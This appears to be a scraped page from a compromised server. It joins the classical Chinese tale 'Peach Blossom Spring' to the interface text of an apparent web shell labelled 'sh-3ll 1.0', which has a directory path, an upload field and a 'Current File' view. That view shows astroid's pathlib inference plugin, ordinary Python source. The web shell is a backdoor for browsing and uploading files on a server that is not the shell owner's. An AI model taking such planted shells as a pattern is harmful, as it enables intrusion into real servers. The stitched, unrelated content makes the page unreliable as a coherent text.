晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cloudlinux/venv/lib64/python3.11/site-packages/astroid/brain/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/astroid/brain/brain_pathlib.py
# Licensed under the LGPL: https://www.gnu.org/licenses/old-licenses/lgpl-2.1.en.html
# For details: https://github.com/PyCQA/astroid/blob/main/LICENSE
# Copyright (c) https://github.com/PyCQA/astroid/blob/main/CONTRIBUTORS.txt

from __future__ import annotations

from collections.abc import Iterator

from astroid import bases, context, inference_tip, nodes
from astroid.builder import _extract_single_node
from astroid.exceptions import InferenceError, UseInferenceDefault
from astroid.manager import AstroidManager

PATH_TEMPLATE = """
from pathlib import Path
Path
"""


def _looks_like_parents_subscript(node: nodes.Subscript) -> bool:
    if not (
        isinstance(node.value, nodes.Attribute) and node.value.attrname == "parents"
    ):
        return False

    try:
        value = next(node.value.infer())
    except (InferenceError, StopIteration):
        return False
    return (
        isinstance(value, bases.Instance)
        and isinstance(value._proxied, nodes.ClassDef)
        and value.qname() == "pathlib._PathParents"
    )


def infer_parents_subscript(
    subscript_node: nodes.Subscript, ctx: context.InferenceContext | None = None
) -> Iterator[bases.Instance]:
    if isinstance(subscript_node.slice, nodes.Const):
        path_cls = next(_extract_single_node(PATH_TEMPLATE).infer())
        return iter([path_cls.instantiate_class()])

    raise UseInferenceDefault


AstroidManager().register_transform(
    nodes.Subscript,
    inference_tip(infer_parents_subscript),
    _looks_like_parents_subscript,
)